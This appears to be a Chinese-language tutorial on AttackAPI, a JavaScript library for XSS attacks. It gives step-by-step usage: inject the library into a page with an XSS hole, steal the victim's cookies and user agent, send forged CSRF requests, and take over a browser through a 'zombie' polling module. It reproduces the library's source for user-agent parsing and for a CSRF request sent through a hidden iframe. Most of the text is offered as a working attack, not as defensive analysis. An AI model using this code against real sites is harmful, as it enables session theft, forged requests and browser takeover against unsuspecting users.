AttackAPI
1. 概念
AttackApi是一个用于XSS攻击的JS库,你不用再写那些繁琐的涉及到各种标签各种dom各种系统各种浏览器的基础代码,直接调用AttackAPI为你封装好的那些函数即可。
2. 使用
AttackApi的使用极其简单,主要分2部:
(1) 注入attackApi代码
在有XSS漏洞的地方插入以下代码:
”//加载AttackApi库的全部JS代码
或者只加载要用到的JS代码,这样传输的js文件会小很多
”//加载AttackApi库的requestCSRF代码
(2) 写自己的攻击业务代码
比如获取用户的Cookie,UA
var c=$A.getCookies();
var ua=$A.getAgent();
构造一个CSRF请求
$A.requestCSRF({url:”[你的CSRF请求URL]”});
(3) 控制别人的浏览器
AttackApi有一个zombie模块,黑客向服务器发送消息,而受害者的浏览器定时去向服务器取消息,即可实现黑客操作受害者的浏览器。
3. 原理
分析AttackApi的源码吧,以下是获取UA的函数
AttackAPI.dom.getAgent= function () {
var agent = '';
if (navigator.userAgent)
agent = navigator.userAgent;
else if (navigator.vendor)
agent = navigator.vendor;
else if (window.opera)
agent = 'opera';
agent = agent.toLowerCase();
if (/webkit/.test(agent))
return 'safari';
else if (/opera/.test(agent))
return 'opera';
else if (/msie/.test(agent) &&!/opera/.test(agent))
return 'msie';
else if (/mozilla/.test(agent) &&!/(compatible|webkit)/.test(agent))
return 'mozilla';
else
return null;
};
可见他不是简单的返回UserAgent,会帮你做好一些正则匹配后,返回给你最干净的UA
再看CSRF的函数:
AttackAPI.dom.requestCSRF= function (request) {
var tmr = null;
var ifr = document.createElement('iframe');
ifr.style.visibility = 'hidden';
ifr.style.width = ifr.style.height = 0;
document.body.appendChild(ifr);
var doc = AttackAPI.dom.getDocument(ifr);
var form = document.createElement('form');
form.setAttribute('method',request.method?request.method:'GET');
form.setAttribute('action', request.url);
for (var name in request.query) {
var input =document.createElement('input');
input.setAttribute('name', name);
input.setAttribute('value',request.query[name]);
input.setAttribute('type', 'text');
form.appendChild(input);
}
doc.body.appendChild(form);
ifr.onload = function () {
window.clearTimeout(tmr);
var data = null;
try {
data =AttackAPI.dom.getDocument(ifr).body.innerHTML;
} catch (e) {}
ifr.src = '';
document.body.removeChild(ifr);
if (typeof(request.onload) =='function')
request.onload({data: data},request);
};
tmr = window.setTimeout(function () {
document.body.removeChild(ifr);
if (typeof(request.ontimeout) =='function')
request.ontimeout(request);
}, request.timeout?request.timeout:10000);
form.submit();
};
可见attackapi帮你创建了一个隐藏的iframe,然后在里面请求你的恶意URL
4. References
(1) 别人的学习教程:http://www.cnblogs.com/milantgh/p/3645166.html
(2) AttackApi官网:http://www.gnucitizen.org/blog/attackapi/